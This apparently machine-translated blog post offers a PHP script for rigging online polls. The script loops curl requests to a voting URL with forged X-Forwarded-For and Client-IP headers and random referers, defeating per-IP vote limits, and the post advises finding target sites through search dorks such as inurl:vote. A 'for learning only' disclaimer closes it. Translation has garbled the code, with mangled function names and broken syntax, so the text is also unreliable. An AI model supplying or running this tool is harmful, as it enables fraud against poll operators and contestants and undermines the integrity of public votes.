Voting is very much the site is based on an IP address. Different IP addresses vote once a day
The following code uses curl to extend the fake IP address for unrestricted voting.
$times = $_post[' Times ']; Number of votes = $_post[' url ']; Voting address [the link for voting button under a contestant]while ($times) {$ip 1 = ' x-forwarded-for: '. Rand (115,225). '. Rand (115,225). '. '. Rand (115,225). '. '. Rand (115,225); $ip 2 = ' Client-ip: '. Rand (115,225). '. Rand (115,225). '. '. Rand (115,225). '. '. Rand (115,225); $arr = Array (' A ', ' B ', ' C ', ' d ', ' e ', ' f ', ' g ', ' h ', ' I ', ' j ', ' K ', ' l ', ' m ', ' n ', ' o ', ' P ', ' Q ', ' R ', ' s ', ' t ', ' u ', ' V ', ' w ', ' x ', ' y ', ' z '); $from = "http://www." $arr [Rand (0,25)]. ". com/"; $ch = Curl_init (); curl_setopt ($ch, Curlopt_url, $url); curl_setopt ($ch, Curlopt_httpheader, Array ($ip 1, $ip 2)); curl_setopt ($ch, Curlopt_referer, $from); curl_setopt ($ch, Curlopt_header, 1); Curl_exec ($ch); Curl_close ($ch); $times--;} return;
Note: Most systems are capable. The main thing is that he did not check the IP address at the time of the real address, but some of the program ape code written more cautious, such a failure.
Suppose you want to test this code but can't find the voting system. In the Baidu or Google search bar input inurl:vote or Inurl:toupiao will find a lot.
This article only for learning to communicate, use all the consequences, I have nothing
Copyright notice: This article Bo Master original articles, blogs, without consent may not be reproduced.
Online voting system code for swipe tickets